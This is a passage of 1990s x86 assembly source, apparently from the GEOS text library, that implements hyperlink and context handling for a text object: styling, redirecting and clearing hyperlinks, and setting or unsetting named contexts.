TypeChangeCommon ret SetHyperlinkLow endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ShowHyperlink %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Sets or clears the VTES_BOXED style on a range of text. CALLED BY: INTERNAL VisTextSetHyperlink PASS: *ds:si = instance data for text object ss:bp = VisTextRange ax = context token RETURN: nothing DESTROYED: cx, di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 7/22/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ShowHyperlink proc near uses ax, dx, bp .enter ; ; We want to set the passed range to appear either boxed and ; unboxed. Start setting up the stack. ; mov_tr cx, ax ; cx <- context mov bx, bp ; ss:bx <- VisTextRange sub sp, (size VisTextSetTextStyleParams) mov bp, sp ; ss:bp <- params movdw axdi, ss:[bx].VTR_start movdw ss:[bp].VTSTSP_range.VTR_start, axdi movdw axdi, ss:[bx].VTR_end movdw ss:[bp].VTSTSP_range.VTR_end, axdi ; ; Leave the TextStyle alone, whatever it may be. We're ; interested in the extended style only. ; clr ax mov ss:[bp].VTSTSP_styleBitsToSet, ax mov ss:[bp].VTSTSP_styleBitsToClear, ax ; ; Assume we're going to show the hyperlink; then check if ; that's true. If the context token is VIS_TEXT_NIL_CONTEXT_TOKEN, ; we've just cleared a hyperlink, so we'll be clearing its text style. ; mov ss:[bp].VTSTSP_extendedBitsToSet, mask VTES_BOXED mov ss:[bp].VTSTSP_extendedBitsToClear, ax cmp cx, VIS_TEXT_NIL_CONTEXT_TOKEN jne showHyperlinks mov ss:[bp].VTSTSP_extendedBitsToSet, ax mov ss:[bp].VTSTSP_extendedBitsToClear, mask VTES_BOXED showHyperlinks: ; ; Now we set the style. ; mov ax, MSG_VIS_TEXT_SET_HYPERLINK_TEXT_STYLE call ObjCallInstanceNoLock add sp, (size VisTextSetTextStyleParams) .leave ret ShowHyperlink endp TextNameType ends TextAttributes segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisTextSetHyperlinkTextStyle %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set or clear a style on all hyperlinks in a range of text. CALLED BY: MSG_VIS_TEXT_SET_HYPERLINK_TEXT_STYLE PASS: *ds:si = VisTextClass object ds:di = VisTextClass instance data ds:bx = VisTextClass object (same as *ds:si) es = segment of VisTextClass ax = message # ss:bp = VisTextSetTextStyleParams (with VisTextRange holding virtual bounds) RETURN: nothing DESTROYED: ax, bx, cx, dx, di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 5/17/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetHyperlinkTextStyleCallbackParams struct SHTSCP_params VisTextSetTextStyleParams SHTSCP_wholeRange VisTextRange SetHyperlinkTextStyleCallbackParams ends VisTextSetHyperlinkTextStyle proc far ; MSG_VIS_TEXT_SET_HYPERLINK_TEXT_STYLE ; ; Convert the virtual coords passed on the stack to physical coords. ; clr bx ; clear VisTextRangeFlags ; - no special treatment needed call TA_GetTextRange ; virtual -> physical ; ; Suspend recalculation till we're done. ; call TextSuspend push ds:[LMBH_handle] ; save for later deref ; ; Set up the data for our callback. ; First copy the VisTextSetTextStyleParams into a new stack ; frame. The callback needs to know the original range but ; will change VTSTSP_range every time it's called, so we'll ; tack on an extra copy of the range after the params. ; movdw axdx, dssi ; save text object sub sp, (size SetHyperlinkTextStyleCallbackParams) mov cx, (size VisTextSetTextStyleParams)/2 segmov es, ss mov di, sp ; es:di <- destination segmov ds, ss mov si, bp ; ds:si <- source rep movsw ; ; Now add our extra copy of the range. Note that es:di is ; currently pointing into the stack just past the newly copied ; VisTextSetTextStyleParams. ; mov cx, (size VisTextRange)/2 mov si, bp ; ds:si <- VTSTSP_range rep movsw ; ; Restore pointer to text object and set up arguments for ; callback. ; movdw dssi, axdx ; restore text object mov cx, si ; *ax:cx <- text object mov di, sp ; ss:di <- stack frame ; ; Off we go, calling our callback on every type run. Note that ; said callback may invalidate ds. ; mov bx, OFFSET_FOR_TYPE_RUNS mov dx, offset SetHyperlinkTextStyleCallback call EnumRunsInRange add sp, (size SetHyperlinkTextStyleCallbackParams) ; ; Now recalculate the text object. ; pop bx ; bx <- handle for ; controller block call MemDerefDS call TextUnsuspend ret VisTextSetHyperlinkTextStyle endp ; ; NOTE: SetHyperlinkTextStyleCallback() *must* be in the same resource as ; EnumRunsInRange(), as it does a near callback. ; COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetHyperlinkTextStyleCallback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set a style on a hyperlink. CALLED BY: VisTextSetHyperlinkTextStyle (via EnumRunsInRange) PASS: *ds:si = run ss:bp = element *ax:cx = instance data of text object ss:di = SetHyperlinkTextStyleCallbackParams RETURN: nothing DESTROYED: bx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 5/17/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetHyperlinkTextStyleCallback proc near ; ; Check whether the current type element is a hyperlink. ; cmp ss:[bp].VTT_hyperlinkName, VIS_TEXT_NIL_CONTEXT_TOKEN je vamoose pushdw axcx ; save text object ; ; Figure out the range over which to set the style and stuff ; it in the VisTextSetTextStyleParams passed as part of the ; SetHyperlinkTextStyleCallbackParams. ; call FindRangeForHyperlinkTextStyle ; ; Entrust our mission to the text object. ; mov bp, di ; ss:bp <- ; VisTextSetTextStyleParams popdw dssi ; *ds:si <- text object push si, di ; save passed args ; (dssi was axcx) mov ax, MSG_VIS_TEXT_SET_TEXT_STYLE call ObjCallInstanceNoLock ; ds possibly changed pop cx, di ; restore passed args mov ax, ds ; *ax:cx <- text object vamoose: ret SetHyperlinkTextStyleCallback endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FindRangeForHyperlinkTextStyle %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Figure out the range over which to set the style. CALLED BY: INTERNAL SetHyperlinkTextStyleCallback PASS: *ds:si = run ss:di = SetHyperlinkTextStyleCallbackParams RETURN: ss:di = SetHyperlinkTextStyleCallbackParams with range filled in DESTROYED: ax, bx, cx, dx SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 8/12/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FindRangeForHyperlinkTextStyle proc near ; ; Get the start of the current run into dxax. ; clr dx mov dl, ds:[si].TRAE_position.WAAH_high mov ax, ds:[si].TRAE_position.WAAH_low ; ; Now check whether the start and end of the range over which ; VisTextSetHyperlinkTextStyle is operating are the same. If ; so, we are clearing a single hyperlink on which the cursor ; is resting. In that case, we'll be (un)setting the style ; over exactly the range of the current run. ; movdw bxcx, ss:[di].SHTSCP_wholeRange.VTR_start cmpdw bxcx, ss:[di].SHTSCP_wholeRange.VTR_end pushf je haveStart ; ; We want to modify the text style of the current run only ; insofar as the run overlaps with the whole range of operation. ; cmpdw bxcx, dxax jbe haveStart movdw dxax, bxcx haveStart: ; ; Note that we can use the passed VTSTSP_range field freely ; because our caller, EnumRunsInRange, is done with it. ; movdw ss:[di].SHTSCP_params.VTSTSP_range.VTR_start, dxax ; ; Use the end of the run (the start of the next run) if the flags from ; checking if [wholeRange start] = [wholeRange end] so indicate. ; call RunArrayNext ; dxax <- end of run popf je haveEnd ; ; Otherwise, the style should be set only on the overlap of ; the run with the whole range passed. ; cmpdw dxax, ss:[di].SHTSCP_wholeRange.VTR_end jbe haveEnd movdw dxax, ss:[di].SHTSCP_wholeRange.VTR_end haveEnd: movdw ss:[di].SHTSCP_params.VTSTSP_range.VTR_end, dxax ret FindRangeForHyperlinkTextStyle endp TextAttributes ends TextNameType segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisTextDeleteAllHyperlinks %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Deletes all the hyperlinks of a VisText. CALLED BY: MSG_VIS_TEXT_DELETE_ALL_HYPERLINKS PASS: *ds:si = VisTextClass object ds:di = VisTextClass instance data ds:bx = VisTextClass object (same as *ds:si) es = segment of VisTextClass ax = message # ss:bp - VisTextSetHyperlinkParams (with VisTextRange holding virtual bounds) RETURN: nothing DESTROYED: bx, si, di, ds, es (method handler) SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JM 3/ 8/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisTextDeleteAllHyperlinks proc far ; MSG_VIS_TEXT_DELETE_ALL_HYPERLINKS ; ; First convert virtual coords to physical. ; clr bx ; Is this right? call TA_GetTextRange ; virtual -> physical ; ; Now clear all hyperlinks for that physical range. Assume ; that the hyperlinks are being shown so as to make sure that ; they are hidden before being removed. ; mov ss:[bp].VTSHLP_file, GIGS_NONE mov ss:[bp].VTSHLP_context, GIGS_NONE mov ss:[bp].VTSHLP_flags, mask VTCF_SHOWING_HYPERLINKS mov ax, MSG_VIS_TEXT_SET_HYPERLINK call ObjCallInstanceNoLock ret VisTextDeleteAllHyperlinks endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisTextSetContextGivenNameText %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set a context on the passed range of text using a context name obtained from the passed object. CALLED BY: MSG_VIS_TEXT_SET_CONTEXT_GIVEN_NAME_TEXT PASS: *ds:si = VisTextClass object ds:di = VisTextClass instance data ds:bx = VisTextClass object (same as *ds:si) es = segment of VisTextClass ax = message # ss:bp = VisTextSetContextParams RETURN: nothing DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 8/28/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisTextSetContextGivenNameText proc far ;MSG_VIS_TEXT_SET_CONTEXT_GIVEN_NAME_TEXT ; ; Get name and check whether it differs from all names ; presently in the name array. If so, off to define it. ; movdw bxdi, ss:[bp].VTSCXP_object call GetNameFromObject ; es:di <- ptr to name call NameStringToToken cmp ax, CA_NULL_ELEMENT ; needs defining? stc ; assume yes je defineName ; ; It's already present in the name array. See if it's a ; context name for the current file. If not, we'll attempt to ; define it, which will fail and give the user the regulation ; error message. Otherwise, we just set the context. ; push ds, si, es, di call LockNameArray call ChunkArrayElementToPtr mov cl, ds:[di].VTNAE_data.VTND_type mov dx, ds:[di].VTNAE_data.VTND_file call UnlockNameArray pop ds, si, es, di cmp cl, VTNT_CONTEXT clc ; name is in name array jne defineName cmp dx, VIS_TEXT_CURRENT_FILE_TOKEN clc ; name is in name array je setContext defineName: ; ; Save carry to show whether name was already in name array. ; pushf ; ; Try to define the name. This will show the user a lovely ; error message if s/he shouldn't be trying to add this name. ; movdw dxax, ss:[bp].VTSCXP_object push es, di, cx, bp sub sp, (size VisTextNameCommonParams) mov bp, sp ;ss:bp <- params mov ss:[bp].VTNCP_data.VTND_type, VTNT_CONTEXT mov ss:[bp].VTNCP_data.VTND_contextType, VTCT_TEXT clr ss:[bp].VTNCP_data.VTND_file ; current file movdw ss:[bp].VTNCP_object, dxax mov ax, MSG_VIS_TEXT_DEFINE_NAME call ObjCallInstanceNoLock add sp, (size VisTextNameCommonParams) pop es, di, cx, bp ; ; We're finished if the name was already in the name array. ; popf jnc done ; ; Find the token for the name we just defined. If the name ; was illegal, there won't be one and we're done. ; call NameStringToToken cmp ax, CA_NULL_ELEMENT ;didn't find name? je done setContext: ; ; Set the context on the currently selected text range. ; mov ss:[bp].VTSCXP_context, ax or ss:[bp].VTSCXP_flags, mask VTCF_TOKEN mov ax, MSG_VIS_TEXT_SET_CONTEXT call ObjCallInstanceNoLock done: ret VisTextSetContextGivenNameText endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisTextRedirectHyperlinks %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Redirects hyperlinks to point to a new destination. CALLED BY: MSG_VIS_TEXT_REDIRECT_HYPERLINKS PASS: *ds:si = VisTextClass object ds:di = VisTextClass instance data ds:bx = VisTextClass object (same as *ds:si) es = segment of VisTextClass ax = message # ss:bp = VisTextRedirectHyperlinksParams RETURN: nothing DESTROYED: ax, dx SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 8/30/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisTextRedirectHyperlinks proc far ;MSG_VIS_TEXT_REDIRECT_HYPERLINKS ; ; If the old file and context are the same as the new, we're ; off the hook. ; mov dx, ss:[bp].VTRHP_oldFile mov ax, ss:[bp].VTRHP_oldContext cmp dx, ss:[bp].VTRHP_newFile jne checkFlags cmp ax, ss:[bp].VTRHP_newContext je done checkFlags: ; ; If we've been passed tokens, we needn't fool around with ; conversion. ; test ss:[bp].VTRHP_flags, mask VTCF_TOKEN jnz gotTokens ; ; Convert the old file and old context indices to tokens. ; call FileAndContextNamesToTokens mov ss:[bp].VTRHP_oldContext, ax mov ss:[bp].VTRHP_oldFile, dx ; ; Prepare to do the same for the new. ; mov ax, ss:[bp].VTRHP_newContext mov dx, ss:[bp].VTRHP_newFile ; ; Just in case people take it into their heads to clear ; hyperlinks with this message... ; cmp dx, GIGS_NONE je clearingHyperlinks ; ; Now convert the new file and new context indices to tokens. ; call FileAndContextNamesToTokens newTokens: mov ss:[bp].VTRHP_newContext, ax mov ss:[bp].VTRHP_newFile, dx gotTokens: ; ; Arrange for our parameters to be passed to our callback and ; all is spiffy. ; mov dx, bp mov di, offset RedirectHyperlinksCallback call TypeChangeCommon done: ret clearingHyperlinks: mov ax, VIS_TEXT_NIL_CONTEXT_TOKEN CheckHack <GIGS_NONE eq -1 and \ VIS_TEXT_CURRENT_FILE_TOKEN eq -1 and \ VIS_TEXT_NIL_CONTEXT_TOKEN eq -1> jmp newTokens VisTextRedirectHyperlinks endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RedirectHyperlinksCallback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Redirect hyperlinks to point to a new destination. CALLED BY: INTERNAL VisTextRedirectHyperlinks (via TypeChangeCommon) PASS: ss:bp = VisTextType ss:dx = VisTextRedirectHyperlinksParams RETURN: nothing DESTROYED: ax, di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 8/31/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RedirectHyperlinksCallback proc far ; ; If the current type element isn't a hyperlink to the file ; and context for which we're redirecting hyperlinks, scoot. ; mov di, dx mov ax, ss:[di].VTRHP_oldFile cmp ax, ss:[bp].VTT_hyperlinkFile jne done mov ax, ss:[di].VTRHP_oldContext cmp ax, ss:[bp].VTT_hyperlinkName jne done ; ; Substitute the new destination for the old. ; mov ax, ss:[di].VTRHP_newFile mov ss:[bp].VTT_hyperlinkFile, ax mov ax, ss:[di].VTRHP_newContext mov ss:[bp].VTT_hyperlinkName, ax done: ret RedirectHyperlinksCallback endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LockTypeRunArray %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Lock the type run array CALLED BY: UTILITY PASS: *ds:si = text object RETURN: ds:si = first run array element di = token to pass to various run array routines cx = # of elements at ds:si DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 8/31/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FarLockTypeRunArray proc far call LockTypeRunArray ret FarLockTypeRunArray endp LockTypeRunArray proc near class VisTextClass EC < call T_AssertIsVisText > mov bx, OFFSET_FOR_TYPE_RUNS call FarRunArrayLock ret LockTypeRunArray endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisTextSetContext %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the context for the passed area CALLED BY: MSG_VIS_TEXT_SET_CONTEXT PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of VisTextClass ax - the message ss:bp - VisTextSetContextParams RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 9/89 Initial version gene 9/ 4/92 updated JM 7/18/94 added error checking after NameToToken call jenny 8/31/94 Now handles redirecting hyperlinks jenny 9/19/94 ...and ignores undo actions jenny 11/ 3/94 Added VTCF_ENSURE_CONTEXT_NOT_ALREADY_SET %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisTextSetContext proc far ; MSG_VIS_TEXT_SET_CONTEXT ; ; If we have the context token we needn't hunt it up. ; Likewise if we're clearing the context. ; mov ax, ss:[bp].VTSCXP_context test ss:[bp].VTSCXP_flags, mask VTCF_TOKEN jnz gotToken cmp ax, GIGS_NONE ; clearing context? je setContext CheckHack <GIGS_NONE eq -1 and VIS_TEXT_NIL_CONTEXT_TOKEN eq -1> ; ; Convert the context list entry into a token. It's actually ; more efficient to get the file token too since we don't ; care that it trashes dx. Saves us locking/unlocking the name ; array ourselves. ; mov dx, 0 ; dx <- current file index call FileAndContextNamesToTokens ; ax <- context token gotToken: ; ; If we're supposed to allow the context to be set on only one ; range of text, make sure that it's not already set somewhere. ; test ss:[bp].VTSCXP_flags, mask VTCF_ENSURE_CONTEXT_NOT_ALREADY_SET jz ignoreUndo mov dx, ax ; dx <- context token clr bx ; bx <- current file index call FindTypeForContext jc alreadySet ignoreUndo: ; ; If we were to allow an undo chain to be recorded for this ; type change, it would prevent the reference count on the ; old type element from falling to zero and causing the ; element to be deleted. Then, if we're presently replacing ; an old context set on the passed range, future calls to ; FindTypeForContext would still be able to find a type for ; that old context until a new undo chain was created. This ; would annoy us no end. ; ; It's also important to get rid of the current chain, as that ; may contain an action, such as inserting a graphic ; character, which the application regards as part of setting ; a context; undoing such an action without undoing this ; context-setting would stymie those controllers which depend for ; proper UI updates on the type change notification here ; induced. ; mov cx, TRUE ; flush current chain call TU_IgnoreUndoActions ; ; Check whether we should persuade any hyperlinks pointing to a ; context currently set on this range to point to the context now ; being set. ; test ss:[bp].VTSCXP_flags, mask VTCF_REDIRECT_HYPERLINKS jz setContext call RedirectHyperlinksWhileSettingContext setContext: ; ; Set the context and then resume accepting undo actions. ; ; ax = context ; mov di, offset SetContextCallback call TypeChangeCommon call TU_AcceptUndoActions done: ret alreadySet: call DoContextAlreadySetDialog jmp done VisTextSetContext endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DoContextAlreadySetDialog %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Tell the user s/he can't set the same context twice. CALLED BY: INTERNAL VisTextSetContext PASS: *ds:si = text object ax = context token RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 11/ 3/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DoContextAlreadySetDialog proc near nameEltBuf local MAX_VIS_TEXT_NAME_ARRAY_ELT_SIZE dup(TCHAR) .enter ; ; Get the name array element for the context. ; push bp mov cx, ss lea dx, ss:[nameEltBuf] mov bp, ax ; bp <- context token mov ax, MSG_VIS_TEXT_FIND_NAME_BY_TOKEN call ObjCallInstanceNoLock ; ax <- element size ; ; NULL terminate the name string. ; mov es, cx mov di, dx add di, ax ; es:di <- end of string mov {TCHAR}es:[di], 0 ; ; Tell the user this context is already set somewhere. ; mov di, dx add di, size VisTextNameArrayElement ; es:di <- name string mov dx, offset contextAlreadySetString clr ax mov cx, ax ;ax:cx <- null help context call DoNameErrorDialog pop bp .leave ret DoContextAlreadySetDialog endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RedirectHyperlinksWhileSettingContext %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: See routine name :) CALLED BY: INTERNAL VisTextSetContext PASS: *ds:si = text object ss:bp = VisTextSetContextParams ax = new context token RETURN: nothing DESTROYED: bx, cx, dx, di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 9/19/94 Broke out of VisTextSetContext %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RedirectHyperlinksWhileSettingContext proc near ; ; Get the token for the context presently set on the current ; range. If no context is set, forget it. ; push ax movdw dxax, ss:[bp].VTSCXP_range.VTR_start movdw cxdi, ss:[bp].VTSCXP_range.VTR_end call GetTypeForPos ; cx <- present context cmp cx, VIS_TEXT_NIL_CONTEXT_TOKEN pop ax ; ax <- new context je done ; ; We have a current context. Redirect all its hyperlinks. ; sub sp, (size VisTextRange) mov di, sp movdw ss:[di].VTR_start, 0 movdw ss:[di].VTR_end, TEXT_ADDRESS_PAST_END mov bx, VIS_TEXT_CURRENT_FILE_TOKEN mov dx, bx call RedirectHyperlinks add sp, (size VisTextRange) done: ret RedirectHyperlinksWhileSettingContext endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetTypeForPos %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the type element for the passed range. CALLED BY: INTERNAL VisTextSetContext PASS: *ds:si = text object dx:ax = start of range cx:di = end of range RETURN: ax = token of hyperlink name dx = token of hyperlink file cx = token of context DESTROYED: di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 8/31/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetTypeParams struct GTP_params VisTextGetAttrParams GTP_attrs VisTextType GTP_diffs VisTextTypeDiffs GetTypeParams ends GetTypeForPos proc near uses bp .enter class VisTextClass ; ; Get the type element into a buffer on the stack. ; sub sp, (size GetTypeParams) mov bp, sp movdw ss:[bp].VTGAP_range.VTR_start, dxax movdw ss:[bp].VTGAP_range.VTR_end, cxdi clr ss:[bp].VTGAP_flags mov ss:[bp].VTGAP_attr.segment, ss lea ax, ss:[bp].GTP_attrs mov ss:[bp].VTGAP_attr.offset, ax mov ss:[bp].VTGAP_return.segment, ss lea ax, ss:[bp].GTP_diffs mov ss:[bp].VTGAP_return.offset, ax mov ax, MSG_VIS_TEXT_GET_TYPE call ObjCallInstanceNoLock ; ; Load return values and emancipate buffer. ; mov ax, ss:[bp].GTP_attrs.VTT_hyperlinkName mov dx, ss:[bp].GTP_attrs.VTT_hyperlinkFile mov cx, ss:[bp].GTP_attrs.VTT_context add sp, (size GetTypeParams) .leave ret GetTypeForPos endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RedirectHyperlinks %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Redirect hyperlinks in the passed range which point to the old file and context to point to the new instead. CALLED BY: INTERNAL VisTextSetContext PASS: *ds:si = text object ss:di = VisTextRange bx = old file token cx = old context token dx = new file token ax = new context token RETURN: nothing DESTROYED: dx SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 8/31/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RedirectHyperlinks proc near uses ax, bp .enter class VisTextClass sub sp, (size VisTextRedirectHyperlinksParams) mov bp, sp mov ss:[bp].VTRHP_oldFile, bx mov ss:[bp].VTRHP_oldContext, cx mov ss:[bp].VTRHP_newFile, dx mov ss:[bp].VTRHP_newContext, ax movdw dxax, ss:[di].VTR_start movdw ss:[bp].VTRHP_range.VTR_start, dxax movdw dxax, ss:[di].VTR_end movdw ss:[bp].VTRHP_range.VTR_end, dxax mov ss:[bp].VTRHP_flags, mask VTCF_TOKEN mov ax, MSG_VIS_TEXT_REDIRECT_HYPERLINKS call ObjCallInstanceNoLock add sp, (size VisTextRedirectHyperlinksParams) .leave ret RedirectHyperlinks endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisTextUnsetAllContexts %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Unsets all contexts in the passed range text. CALLED BY: MSG_VIS_TEXT_UNSET_ALL_CONTEXTS PASS: *ds:si = VisTextClass object ds:di = VisTextClass instance data ds:bx = VisTextClass object (same as *ds:si) es = segment of VisTextClass ax = message # ss:bp - VisTextSetContextParams (with VisTextRange holding virtual bounds) RETURN: nothing DESTROYED: bx, si, di, ds, es (method handler) SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JM 3/ 8/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisTextUnsetAllContexts proc far ; MSG_VIS_TEXT_UNSET_ALL_CONTEXTS ; ; First convert virtual coords to physical. ; clr bx ; Is this right? call TA_GetTextRange ; virtual -> physical ; ; Now clear all contexts for that physical range. ; mov ss:[bp].VTSCXP_context, GIGS_NONE clr ss:[bp].VTSCXP_flags mov ax, MSG_VIS_TEXT_SET_CONTEXT call ObjCallInstanceNoLock ret VisTextUnsetAllContexts endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisTextFollowHyperlink %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Follow a hyperlink CALLED BY: MSG_VIS_TEXT_FOLLOW_HYPERLINK 